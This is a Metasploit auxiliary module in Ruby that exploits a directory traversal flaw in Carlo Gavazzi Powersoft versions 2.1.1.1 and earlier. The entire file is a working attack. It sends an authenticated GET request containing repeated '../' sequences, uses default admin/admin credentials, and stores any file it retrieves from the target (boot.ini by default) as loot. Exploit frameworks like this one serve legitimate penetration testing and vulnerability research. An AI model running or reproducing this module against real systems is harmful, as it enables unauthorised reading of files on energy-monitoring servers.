require 'msf/core'

class MetasploitModule < Msf::Auxiliary
	Rank = GreatRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Carlo Gavazzi Powersoft Directory Traversal',
			'Description'    => %q{
				This module exploits a directory traversal vulnerability
				found in Carlo Gavazzi Powersoft <= 2.1.1.1. The vulnerability
				is triggered when sending a specially crafted GET request to the
				server. The location parameter of the GET request is not sanitized
				and the sendCommand.php script will automatically pull down any
				file requested
			},
			'Author'         => [ 'james fitts' ],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'URL', 'http://gleg.net/agora_scada_upd.shtml']
				],
			'DisclosureDate' => 'Jan 21 2015'))

		register_options(
			[
				OptInt.new('DEPTH', [ false, 'Levels to reach base directory', 8]),
				OptString.new('FILE', [ false, 'This is the file to download', 'boot.ini']),
				OptString.new('USERNAME', [ true, 'Username to authenticate with', 'admin']),
				OptString.new('PASSWORD', [ true, 'Password to authenticate with', 'admin']),
				Opt::RPORT(80)
			], self.class )
	end

	def run

	require 'base64'

	credentials = Base64.encode64("#{datastore['USERNAME']}:#{datastore['PASSWORD']}")

	depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
	levels = "/" + ("../" * depth)

	res = send_request_raw({
		'method'	=> 'GET',
		'uri'		=> "#{levels}#{datastore['FILE']}?res=&valid=true",
		'headers'	=>	{
			'Authorization'	=>	"Basic #{credentials}"
		},
	})

	if res and res.code == 200
		loot = res.body
		if not loot or loot.empty?
			print_status("File from #{rhost}:#{rport} is empty...")
			return
		end
		file = ::File.basename(datastore['FILE'])
		path = store_loot('carlo.gavazzi.powersoft.file', 'application/octet-stream', rhost, loot, file, datastore['FILE'])
		print_status("Stored #{datastore['FILE']} to #{path}")
		return
	end

	end
end